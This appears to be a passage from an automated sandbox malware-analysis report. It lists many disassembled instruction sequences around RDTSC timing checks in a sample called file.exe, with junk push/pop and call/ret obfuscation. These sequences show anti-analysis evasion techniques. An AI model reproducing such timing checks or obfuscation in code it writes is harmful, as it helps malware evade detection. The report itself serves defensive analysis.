Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46B66 second address: A46B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E493 second address: A4E4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0B44BD79A6h 0x0000000a popad 0x0000000b jmp 00007F0B44BD79AAh 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F0B44BD79A6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E4B2 second address: A4E4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E4B6 second address: A4E4BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E613 second address: A4E62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E7B4 second address: A4E7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E7B8 second address: A4E7C2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0B44EA8C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4EA91 second address: A4EAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0B44BD79A6h 0x0000000a popad 0x0000000b jg 00007F0B44BD79B2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52770 second address: A5277A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F0B44EA8C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A527F5 second address: A52813 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0B44BD79A8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0B44BD79ADh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52813 second address: A52817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52817 second address: A5281D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5281D second address: A52858 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0B44EA8C78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or dword ptr [ebp+122D209Eh], eax 0x00000011 or dword ptr [ebp+122D2C9Ah], ecx 0x00000017 push 00000000h 0x00000019 xor dword ptr [ebp+122D2C1Bh], edi 0x0000001f call 00007F0B44EA8C79h 0x00000024 jmp 00007F0B44EA8C7Ah 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push edx 0x0000002f pop edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52858 second address: A5285C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5285C second address: A52862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52B01 second address: A52B2E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0B44BD79ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pop esi 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0B44BD79AEh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52B2E second address: A52B51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0B44EA8C83h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52B51 second address: A52B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361D9 second address: A361ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F0B44EA8C7Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e jg 00007F0B44EA8C76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361ED second address: A3621D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0B44BD79B8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A701C9 second address: A701CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A701CD second address: A701DA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0B44BD79A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A701DA second address: A701E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70349 second address: A7034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A704E0 second address: A704E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A704E4 second address: A704EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70670 second address: A7067A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0B44EA8C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7067A second address: A706A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F0B44BD79AEh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A706A4 second address: A706CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0B44EA8C7Bh 0x00000009 jmp 00007F0B44EA8C88h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70859 second address: A7087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0B44BD79A6h 0x0000000a popad 0x0000000b ja 00007F0B44BD79AEh 0x00000011 jc 00007F0B44BD79A8h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70B70 second address: A70BA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F0B44EA8C76h 0x00000010 jg 00007F0B44EA8C76h 0x00000016 jmp 00007F0B44EA8C7Ah 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jno 00007F0B44EA8C76h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70BA0 second address: A70BAA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0B44BD79A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70BAA second address: A70BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70BB6 second address: A70BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70D2D second address: A70D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C7Bh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70E80 second address: A70E99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0B44BD79B3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70E99 second address: A70EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F0B44EA8C81h 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007F0B44EA8C76h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A678E3 second address: A678ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A678ED second address: A678FD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0B44EA8C76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A678FD second address: A67901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67901 second address: A6791B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F0B44EA8C7Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6791B second address: A67926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67926 second address: A6792A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6792A second address: A6792E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6792E second address: A6796E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0B44EA8C78h 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F0B44EA8C83h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0B44EA8C89h 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34756 second address: A3475C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71551 second address: A7155B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A742D3 second address: A742E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F0B44BD79AAh 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A742E8 second address: A742F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77A4C second address: A77A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77A50 second address: A77A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77A56 second address: A77A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77A5B second address: A77A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0B44EA8C76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0B44EA8C85h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77A81 second address: A77A85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77BC4 second address: A77BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0B44EA8C87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77BDF second address: A77BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D9D2 second address: A7D9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D9D8 second address: A7D9E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F0B44BD79A6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D9E8 second address: A7DA01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DA01 second address: A7DA1D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 ja 00007F0B44BD79BAh 0x0000000c jmp 00007F0B44BD79AEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DA1D second address: A7DA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0B44EA8C87h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DBDA second address: A7DBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007F0B44BD79A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DBE7 second address: A7DC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnp 00007F0B44EA8C76h 0x0000000c popad 0x0000000d jmp 00007F0B44EA8C7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DD61 second address: A7DD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E00D second address: A7E016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E016 second address: A7E01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E01A second address: A7E027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E027 second address: A7E02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E173 second address: A7E17D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E17D second address: A7E181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E181 second address: A7E187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81F38 second address: A81F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81F3D second address: A81F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81F43 second address: A81F5B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0B44BD79A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jng 00007F0B44BD79B0h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82651 second address: A8265F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82BAB second address: A82BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82BAF second address: A82C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F0B44EA8C80h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 jc 00007F0B44EA8C76h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c popad 0x0000001d nop 0x0000001e jp 00007F0B44EA8C7Ch 0x00000024 xchg eax, ebx 0x00000025 jmp 00007F0B44EA8C82h 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push ecx 0x0000002e pop ecx 0x0000002f pop eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82C01 second address: A82C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8301C second address: A83020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83020 second address: A83025 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8399A second address: A8399E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8399E second address: A839A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A839A4 second address: A839D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0B44EA8C82h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A839D7 second address: A839DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A839DB second address: A839E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84AA6 second address: A84AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85576 second address: A855EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F0B44EA8C7Ch 0x0000000c jo 00007F0B44EA8C76h 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F0B44EA8C78h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov esi, dword ptr [ebp+124560E0h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F0B44EA8C78h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 mov esi, dword ptr [ebp+122D39EDh] 0x00000058 push 00000000h 0x0000005a sbb di, 49D3h 0x0000005f push eax 0x00000060 pushad 0x00000061 jl 00007F0B44EA8C7Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 push ecx 0x0000006a pop ecx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A852D6 second address: A852EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jo 00007F0B44BD79A6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A852EA second address: A852F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F0B44EA8C76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86B05 second address: A86B88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007F0B44BD79B9h 0x00000011 pop edi 0x00000012 nop 0x00000013 jmp 00007F0B44BD79AFh 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F0B44BD79A8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D1EFDh], ebx 0x0000003a push 00000000h 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F0B44BD79AAh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A875FD second address: A87608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F0B44EA8C76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A868D0 second address: A868DA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0B44BD79ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
